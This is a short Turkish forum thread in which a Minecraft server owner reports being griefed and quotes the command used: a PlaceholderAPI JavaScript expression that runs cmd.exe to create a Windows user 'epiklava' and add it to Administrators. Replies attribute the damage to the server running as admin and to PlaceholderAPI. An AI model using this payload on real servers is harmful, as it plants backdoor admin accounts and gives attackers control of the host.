Çözüldü Grief

Vasıfsız bi arkadaş tarafından

jsexp parse me new java.lang.ProcessBuilder("cmd.exe", "/c", "net user epiklava epiklavas1k3r3131 /add && net localgroup Administrators epiklava /add").start();

kodunda grief yedim bu arkadaş ne yaptı ne etti bunu aktif etti veya nasıl benim yetkili hesabıma giriş sağladı inanın gram bilmiyorum.

#Epik lava adında şahıs yapmış.

@Beatrix Selam,
Sistemin üzerinde epiklava ismiyle yeni bir admin hesabı oluşturulmuş, bu durumu tetikleyen ProcessBuilder'ın yetkili bir account üzerinden çalışmış olması. Muhtemelen sunucunuzu kendiniz de admin hesabı üzerinden kullanıyordunuz.

yaptığı olay palceholderapinin olması gerekiyor configden kapatınca düzeliyordu tam hatırlamıyorum şuan